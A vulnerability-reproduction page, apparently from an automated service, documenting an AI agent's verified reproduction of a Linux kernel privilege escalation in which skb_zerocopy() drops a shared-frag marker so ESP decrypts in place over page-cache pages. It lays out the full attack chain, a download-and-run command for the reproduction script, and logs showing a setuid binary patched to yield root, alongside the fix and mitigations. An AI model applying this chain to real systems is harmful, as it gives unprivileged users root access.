Skip to content

REPRO-2026-00388: Verified Reproduction

REPRO-2026-00388: ZDI-CAN-33367: Linux Kernel skb zerocopy shared-frag marker loss → NFQUEUE/ESP in-place decrypt → page-cache corruption local privilege escalation

REPRO-2026-00388 is verified against the affected target. Vulnerability class: Privilege Escalation. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00388.

REPRO-2026-00388 Privilege Escalation Oct 26, 2026 .txt
Severity
HIGH
Confidence
HIGH
Reproduced in
109m 43s
Tool calls
372
Spend
$1.73
01 · Overview

What Is REPRO-2026-00388?

REPRO-2026-00388 is a high-severity Privilege Escalation vulnerability. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00388).

02 · Severity & CVSS

REPRO-2026-00388 Severity

REPRO-2026-00388 is rated high severity.

HIGH threat level
Weakness CWE-668

High — serious impact or readily exploitable. Prioritize remediation.

How to Reproduce REPRO-2026-00388

$ pruva-verify REPRO-2026-00388
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00388/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for REPRO-2026-00388

Privilege escalation — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Unprivileged local process: 8 bytes spliced from a read-only root-owned file page (plus a 514-byte attacker vector) sent as a UDP datagram, plus the attacker's own namespace setup (unshare user+net, nlmon0, XFRM ESP state/policy, nftables queue 0, tc pedit + mirred redirect). No privileged input and no KASLR leak is n…

Attack chain
  1. splice(file page)
  2. UDP
  3. LOCAL_OUT nft queue 0
  4. nfqnl_build_packet_message()
  5. skb_zerocopy() (drops SKBFL_SHARED_FRAG)
  6. netlink tap
  7. nlmon0
  8. tc pedit (96-byte linear prefix rewritten into eth|IPv4|ESP|IV|ciphertext)
  9. mirred egress redirect lo
  10. loopback RX
  11. xfrm4_policy_check/esp4_rcv
  12. esp_input() skips skb_cow_data()
  13. authenticated AES-CBC decrypt in place over the page-cache frags
Runnable proof: reproduction_steps.sh
Captured evidence: fixed att2
How the agent worked 872 events · 372 tool calls · 1h 50m
1h 50mDuration
372Tool calls
212Reasoning steps
872Events
8Dead-ends
Agent activity over 1h 50m
Policy
1
Support
14
Repro
517
Judge
40
Variant
295
Verify
1
0:00109:35

Root Cause and Exploit Chain for REPRO-2026-00388

Versions: the helper exists since kernel 3.14 (af2806f8f90a); the marker-loss gap is

Linux Kernel skb_zerocopy() shared-frag marker loss -> NFQUEUE -> in-place IPsec ESP decryption over page-cache backed skb frags -> local privilege escalation

Canonical identifier: ZDI-CAN-33367 (no CVE assigned as of 2026-10-26; the identifier is deliberately not renamed).


skb_zerocopy() (net/core/skbuff.c) moves fragment descriptors from a source skb into a destination skb and takes a page reference for each transferred frag, but it never merges skb_shinfo(from)->flags & SKBFL_SHARED_FRAG into skb_shinfo(to)->flags. skb_zerocopy_clone() only transfers zerocopy destructor metadata, so the splice-backed shared-fragment marker is silently lost at that boundary.

NFQUEUE builds its NFQA_PAYLOAD netlink message with exactly this helper (nfqnl_build_packet_message() -> skb_zerocopy()), so a packet whose frags are page-cache pages attached with splice(2) produces a destination skb that still owns those page references but reports skb_has_shared_frag() as false. A netlink tap (nlmon) mirrors that message skb onto a netdevice, where traffic-control pedit rewrites only the linear prefix into a valid ESP packet and mirred redirects it to lo. esp_input() sees a nonlinear, uncloned skb without SKBFL_SHARED_FRAG, skips skb_cow_data(), and performs authenticated AES-CBC decryption in place - writing the attacker-chosen plaintext directly into the page cache of a file the attacker may only read.

The vulnerability is a gap in the earlier "Dirty Frag" fix (f4c50a4034e6, xfrm: esp: avoid in-place decrypt on shared skb frags, present in the tested 6.12.111 tree at net/ipv4/esp4.c:876): the marker is only useful if every helper that moves frags between skbs propagates it.

  • Component: Linux kernel networking stack - skb_zerocopy() (net/core/skbuff.c), consumed by net/netfilter/nfnetlink_queue.c and net/openvswitch/datapath.c.
  • Affected versions: the helper exists since kernel 3.14 (af2806f8f90a); the marker-loss gap is exploitable on any kernel that carries the ESP shared-frag check but not the propagation fix - including 6.12.111 / 6.12.113 (Debian 13) used for this reproduction, and the 7.3-rc1 build the reporter tested.
  • Risk: local privilege escalation. An unprivileged local user can rewrite the page cache of any file it can read (setuid-root binaries, /etc/passwd, ...) and obtain uid 0. CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). The write is page-cache only: the on-disk copy and the inode metadata are untouched, so the corruption is invisible to file-integrity tooling until the cached pages are evicted or the system is rebooted.
  • Preconditions: unprivileged user namespaces enabled, and the networking pieces the PoC needs (nlmon, nfnetlink_queue, nft_queue/xt_NFQUEUE, cls_u32/cls_matchall, act_pedit, act_mirred, esp4, xfrm_user). No KASLR leak and no capability beyond what the attacker's own user+network namespace grants are required.

Impact Parity

  • Disclosed/claimed maximum impact: local privilege escalation to root through page-cache corruption of a read-only root-owned file.
  • Reproduced impact from this run: full - two independent vulnerable boots rewrite the page cache of a root-owned mode-0444 file (ZFRG-OK! at file offset 4160) and rewrite the read-only .rodata gate of a root-owned mode-4755 binary, which then executes as real uid 0 (ROOTME_GRANTED uid=0 euid=0 + uid=0(root) from id). Two independent fixed-kernel boots run the identical input and fail closed (file unchanged, ROOTME_DENIED uid=1000).
  • Parity: full.
  • Not demonstrated: nothing claimed by the advisory is missing. (The write primitive is 8 bytes per trigger, exactly as in the public PoC; a real-world attacker repeats it to patch a setuid binary.)

Root Cause

  1. splice() from a file into a UDP socket stores the file's page-cache page as an skb frag and sets SKBFL_SHARED_FRAG (skb_splice_from_iter(), net/core/skbuff.c).

  2. The nftables queue statement (or xt_NFQUEUE) sends the packet to nfnetlink_queue. nfqnl_build_packet_message() allocates the netlink message skb and calls skb_zerocopy(msg, entskb, data_len, hlen) (net/netfilter/nfnetlink_queue.c:938).

  3. skb_zerocopy() copies the frag descriptors, calls skb_frag_ref() for each one and returns - it never propagates skb_shinfo(from)->flags & SKBFL_SHARED_FRAG:

    skb_shinfo(to)->nr_frags = j;      /* frags + page refs moved ... */
    return 0;                          /* ... marker dropped            */
    
  4. nlmon taps the message (netlink_tap -> dev_queue_xmit() on nlmon0), tc pedit rewrites the first 96 linear bytes into eth|IPv4(proto=ESP)|ESP|IV|ciphertext[0..38), mirred egress redirect hands the skb to lo, and the loopback receive path routes it into the XFRM inbound policy for 127.0.0.1.

  5. esp_input() (net/ipv4/esp4.c) decides between in-place decryption and skb_cow_data():

    if (!skb_cloned(skb)) {
            if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; }
            else if (!skb_has_frag_list(skb) && !skb_has_shared_frag(skb)) {
                    nfrags = skb_shinfo(skb)->nr_frags + 1; goto skip_cow;
            }
    }
    err = skb_cow_data(skb, 0, &trailer);   /* never reached */
    

    skb_has_shared_frag() is false because of step 3, so the authenticated AES-CBC decryption runs over the retained page-cache frags and the plaintext is written straight into the page cache. (The tc pedit action additionally makes the skb writable, which drops dataref to 1 and keeps skb_cloned() false - the !skb_cloned() arm is therefore taken deterministically.)

  6. Fix: propagate the marker in the frag-transfer helper, exactly as the other helpers do:

    --- a/net/core/skbuff.c
    +++ b/net/core/skbuff.c
    @@ skb_zerocopy()
         skb_shinfo(to)->nr_frags = j;
    +    skb_shinfo(to)->flags |= skb_shinfo(from)->flags & SKBFL_SHARED_FRAG;
    

    Upstream review patch (posted 2026-10-22, reviewed by Eric Dumazet, not merged as of 2026-10-26): "net: skbuff: propagate shared-frag marker in skb_zerocopy()" https://lore.kernel.org/all/20261022104217.1852191-1-pointerliu@126.com/. The reproduction's negative control is exactly this one-line change, built from the same tree and the same .config (kbuild/skbuff.diff).

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh (entry point; self-contained, idempotent).
  2. The script:
    • builds two kernels from the same linux-6.12.111 tarball with the same .config (bundle/repro/kbuild.sh): bzImage.vuln and bzImage.fixed (the one-line fix above);
    • builds a Debian trixie QEMU guest (bundle/repro/rootfs.sh): initramfs with iproute2/nftables, the exploit skbpoc (bundle/repro/skbpoc.c), a root-owned mode-4755 escalation target (bundle/repro/rootme.c) and a 16 MiB ext4 image for the read-only scratch file;
    • boots the vulnerable kernel twice and the fixed kernel twice in QEMU/KVM with the same initrd and a fresh copy of the ext4 image (bundle/repro/guest_init.sh drives the guest);
    • in every boot /init (root) creates the 0444 root-owned target, then runs skbpoc ctl which drops to uid 1000 and executes skbpoc exploit - the real trigger chain: unshare(CLONE_NEWUSER|CLONE_NEWNET) -> sysctls -> nlmon0 -> XFRM ESP SA + inbound policy -> nft queue num 0 on LOCAL_OUT -> NFQUEUE helper bound to queue 0 -> tc clsact + matchall pedit (24 u32 munges) + mirred egress redirect dev lo -> splice() of 8 bytes of the target page plus a 514-byte attacker vector into a UDP socket on 127.0.0.1;
    • after the trigger the ctl parent re-reads the target (page cache), executes the root-owned setuid binary as uid 1000, then drops the page cache and re-reads to show the on-disk copy is untouched.
  3. Expected evidence on the vulnerable kernel: ESP_SELFTEST ... inner_udp_received=yes, PROBE nfq_msglen=618 linear_prefix=96, TRIGGER changed=1 target_exact=1, PAGE_CACHE_SHA256_AFTER != TARGET_SHA256_BEFORE, DISK_SHA256_AFTER_EVICT == TARGET_SHA256_BEFORE, ROOTME_GRANTED uid=0 euid=0 and id printing uid=0(root). On the fixed kernel the same input yields TRIGGER changed=0, identical before/after digests and ROOTME_DENIED uid=1000.

Evidence

Per-attempt console logs (final run, exit 0 twice in a row):

  • bundle/logs/attempts/vuln_att1.log, vuln_att2.log - vulnerable kernel
  • bundle/logs/attempts/fixed_att1.log, fixed_att2.log - fixed kernel (negative control)
  • bundle/logs/kernel_identity.txt - kernel/guest build identity and digests
  • bundle/repro/proof_summary.txt - condensed machine-readable verdict lines
  • bundle/repro/runtime_manifest.json - structured runtime evidence + artifact digests
  • kbuild/skbuff.diff (in the prepared project cache) - the one-line kernel differential
Vulnerable kernel (logs/attempts/vuln_att1.log)
USERNS unshare=OK userns_uid=0 netns=fresh
ESP_SELFTEST icv_variant=0 inner_udp_received=yes
NFQ_HELPER BIND_ACK err=0
NFQUEUE_BIND queue=0 copy_mode=NFQNL_COPY_PACKET copy_range=65535 flags=GSO|UID_GID
NFT_QUEUE_SETUP table=zdi chain=out hook=LOCAL_OUT queue=0
PROBE nfq_msglen=618 linear_prefix=96 frags=8+514
NFT_DUMP         counter packets 1 bytes 550 queue to 0
LAYOUT linear=96 ct_off=38 ciphertext=544 icv_at=602 total=618
TRIGGER sent=522 target_spliced=8 vector_spliced=514
TRIGGER nfq_msglen=618
INNER_UDP_RECEIVED len=528 (decrypted in place, delivered on lo)
TRIGGER changed=1 target_exact=1 guards_ok=1

A. read-only root-owned scratch file (/mnt/target.bin, ext4, uid=0 mode=0444, WRITE_DENIAL_AS_UID1000 ... errno=13 denied=1):

TARGET_SHA256_BEFORE=ec18472a64d15a76eb7dcb5df6a23659155c01acae552de91bfbc75de1a74189
PAGE_CACHE_SHA256_AFTER=2e543af3f2834c4ffa6fcbe691bedddbf711dcda3aadcecf6baa0b7a27b65e05
DISK_SHA256_AFTER_EVICT=ec18472a64d15a76eb7dcb5df6a23659155c01acae552de91bfbc75de1a74189
SCRATCH_PROOF_EXIT=0

The 8 bytes at file offset 4160 became ZFRG-OK! in the page cache (TARGET_WINDOW_AFTER ...5a4652472d4f4b21...), the digest changed, and after drop_caches the window and digest are back to the original: the write landed in the page cache only.

B. root-owned mode-4755 binary (/usr/local/bin/rootme, .rodata gate at file offset 8352):

ROOTME_GATE hits=1 offset=8352
ROOTME_DENIED uid=1000 euid=0            <- before the attack
TARGET_SLICE_ORIGINAL 5a44492d4f4b2100   <- "ZDI-OK!"
DESIRED_SLICE         5a44492d50574e00   <- "ZDI-PWN"
TRIGGER changed=1 target_exact=1 guards_ok=1
PAGE_CACHE_SHA256_AFTER=86f12e5b18742477be14da2225ca2f2933fe7614bc919298d2e51e9bb6e6c0d9
ROOTME_GRANTED uid=0 euid=0
uid=0(root) gid=0(root) groups=0(root)
ESCALATION_EXEC /usr/local/bin/rootme ZDI-PWN exit=0
SETUID_PROOF_EXIT=0

The 8-byte primitive rewrote the binary's read-only gate inside the page cache; the same unprivileged user then executed it and got a real uid 0 shell (id printed uid=0(root), /etc/shadow was readable). The root process also wrote a per-attempt marker file (ROOTME_MARKER_WRITTEN /root/zdi33367_root_marker.txt ZDI33367_ROOT_MARKER_vuln_att1), which the harness recovered as bundle/logs/evidence/root_marker_vuln_att{1,2}.txt; the fixed boots produce no marker (bundle/logs/evidence/negctl_fixed_att{1,2}.json).

Fixed kernel, identical input (logs/attempts/fixed_att1.log)
ESP_SELFTEST icv_variant=0 inner_udp_received=yes
PROBE nfq_msglen=618 linear_prefix=96 frags=8+514
INNER_UDP_RECEIVED len=528 (decrypted in place, delivered on lo)
TRIGGER changed=0 target_exact=0 guards_ok=1
SCRATCH_PROOF_EXIT=1
ROOTME_DENIED uid=1000 euid=0
SETUID_PROOF_EXIT=1

The whole chain still runs and the authenticated ESP packet is still decrypted and delivered (so the only behavioural difference is the write destination), but the target page cache is byte-identical before and after (PAGE_CACHE_SHA256_AFTER equals TARGET_SHA256_BEFORE) and the setuid binary still denies - skb_cow_data() linearised the frags because the marker was propagated.

Recommendations / Next Steps

  • Apply the upstream propagation fix (skb_shinfo(to)->flags |= skb_shinfo(from)->flags & SKBFL_SHARED_FRAG; in skb_zerocopy()), or the distribution backports (AlmaLinux kernel-4.18.0-553.177.2.el8_10, kernel-5.14.0-687.59.2.el9_8, kernel-6.12.0-211.68.2.el10_2).
  • Interim mitigation: user.max_user_namespaces=0 (blocks the unprivileged namespace setup), or blocking the nlmon/act_pedit modules where they are not needed.
  • Audit the remaining frag-transfer helpers for the same marker loss; the advisory notes several follow-up reports for other paths.
  • Detection: the syscall sequence (user+net namespace unshare -> nlmon -> XFRM -> NFQUEUE -> tc pedit redirect -> splice() to loopback) is highly distinctive for a single unprivileged process.

Additional Notes

  • Idempotency: kbuild.sh/rootfs.sh cache their outputs under the prepared project cache and can be re-run safely; each boot uses a fresh copy of the ext4 target image, so repeated runs are independent.
  • Limitations: the write primitive transfers 8 attacker-chosen bytes per trigger at a chosen file offset (the public PoC behaves the same way); the demonstration therefore patches a single gate inside a root-owned setuid binary rather than rewriting a whole file. The corrupted page is not marked dirty, so the on-disk copy stays intact (shown by the drop-cache re-read).
  • Both kernels are built from the same tree, .config and compiler; the only difference is the one-line marker propagation, so the vulnerable/fixed difference is not a configuration artefact.

REPRO-2026-00388 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:48
0:00
session startedaccounts/fireworks/models/deepseek-v4p1-flash · ZDI-CAN-33367 · REPRO-20
0:07
0:09
web search
0:11
web search
0:17
0:22
0:24
web search
1:05
1:05
extract_facts
no facts extracted
1:07
1:07
1:07
supportclaim_contract
1:14
1:14
1:17
1:17
1:17
1:17
1:24
1:24
$cd /data/pruva/runs/e65f6fb2-dc39-4e42-a475-35e478ff36f3/bundle && python3 -c " import json d=json.load(open('learning/exploit_knowledge_preflight.json')) print(type(d), list(d.keys()) if isinstance(d,dict) else len(d)) "
✗
EXPLOIT-KNOWLEDGE PREFLIGHT REVIEW REQUIRED: `run_shell` is blocked until this agent calls `review_exploit_knowledge_preflight` with snapshot_sha256 `2a897b253b572a6394f3286e89be217582bce9c43ac32f987d54217ba732e9b1` and exactly one disposition for each candidate ID [07aa53d5-112d-4c7c-a162-296a191ca4d5, 095b9dc1-70de-4b1e-8514-7de0b39bdc6a, 2a555c86-1a97-41b0-8cb0-e6bbd8ae48f3, 2c5cb943-263a-48a8-bf4a-422e1ee7fa5d, 575be88b-ccf0-466d-a7c7-3a9972b54581, 66cba352-5e66-4ea8-a77d-2fa5af6ef847, 7b5bf...
1:24
✗ error

Unknown error

1:24
1:30
1:31
1:35
1:35
$ls -la /data/pruva/project-cache/.run-views/eb9c603a10dfcc6ef5aecc13f7417e03660b67262822fa906c4bd143abc82e85/ 2>&1 | head -50; echo ---; cat /data/pruva/project-cache/.run-views/eb9c603a10dfcc6ef5aecc13f7417e03660b67262822fa906c4bd143abc82e85/.pruva/cache_manifest.json 2>&1 | head -50
✓
total 16
drwx------ 4 nemesis nemesis 4096 Oct 26 18:42 .
drwx------ 4 nemesis nemesis 4096 Oct 26 18:42 ..
drwx------ 2 nemesis nemesis 4096 Oct 26 18:42 .pruva
drwx------ 2 nemesis nemesis 4096 Oct 26 18:42 repo-mirrors
---
{
  "schema_version": 1,
1:35
$echo "== uname =="; uname -a; echo "== cpuinfo virt =="; grep -m1 -o 'vmx\|svm' /proc/cpuinfo; echo "== kvm =="; ls -la /dev/kvm 2>&1; echo "== qemu =="; which qemu-system-x86_64 qemu-img 2>&1; echo "== gcc =="; gcc --version 2>&1|head -1; echo "== docker =="; which docker 2>&1; docker ps 2>&1|head -3; echo "== id =="; id; echo "== nproc/mem =="; nproc; free -m|head -2; echo "== disk =="; df -h /data 2>&1|tail -2
✓
== uname ==
Linux pruva-kernel-02 6.12.113+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.113-1 (2026-10-15) x86_64 GNU/Linux
== cpuinfo virt ==
vmx
== kvm ==
crw-rw---- 1 root kvm 10, 232 Oct 23 07:18 /dev/kvm
== qemu ==
/usr/bin/qemu-system-x86_64
1:48
1:48
$ls /data/pruva/project-cache/ 2>&1 | head; echo ---; ls /data/pruva/project-cache/.run-views/ 2>&1 | head; echo ---; du -sh /data/pruva/project-cache/* 2>/dev/null | head -20; echo === ; ls /data/pruva/ 2>&1; echo ===; ls /data/pruva/runs/ 2>&1 | head -20
✓
empty-cache-generation-v1
project-aa37a531-bf25-4d21-8ae7-14dc3c062eff-generation-074f216fb4d54f1cab133c61051f0c0d
project-f0085ade-883a-48a0-b51a-e5b6ada49937-generation-6894d68bd9064a4abfe29083eb561d1f
---
eb9c603a10dfcc6ef5aecc13f7417e03660b67262822fa906c4bd143abc82e85
---
4.0K	/data/pruva/project-cache/empty-cache-generation-v1
728K	/data/pruva/project-cache/project-aa37a531-bf25-4d21-8ae7-14dc3c062eff-generation-074f216fb4d54f1cab133c61051f0c0d
08 · How to Fix

How to Fix REPRO-2026-00388

Coming soon

Step-by-step mitigation and hardening guidance for REPRO-2026-00388 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: REPRO-2026-00388

Is REPRO-2026-00388 exploitable?

Yes. Pruva independently reproduced REPRO-2026-00388 and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00388).

How severe is REPRO-2026-00388?

REPRO-2026-00388 is rated high severity.

What type of vulnerability is REPRO-2026-00388?

REPRO-2026-00388 is classified as CWE-668, a Privilege Escalation vulnerability.

How can I reproduce REPRO-2026-00388?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the REPRO-2026-00388 reproduction verified?

Yes. Pruva reproduced REPRO-2026-00388 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for REPRO-2026-00388

Authoritative sources for REPRO-2026-00388 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.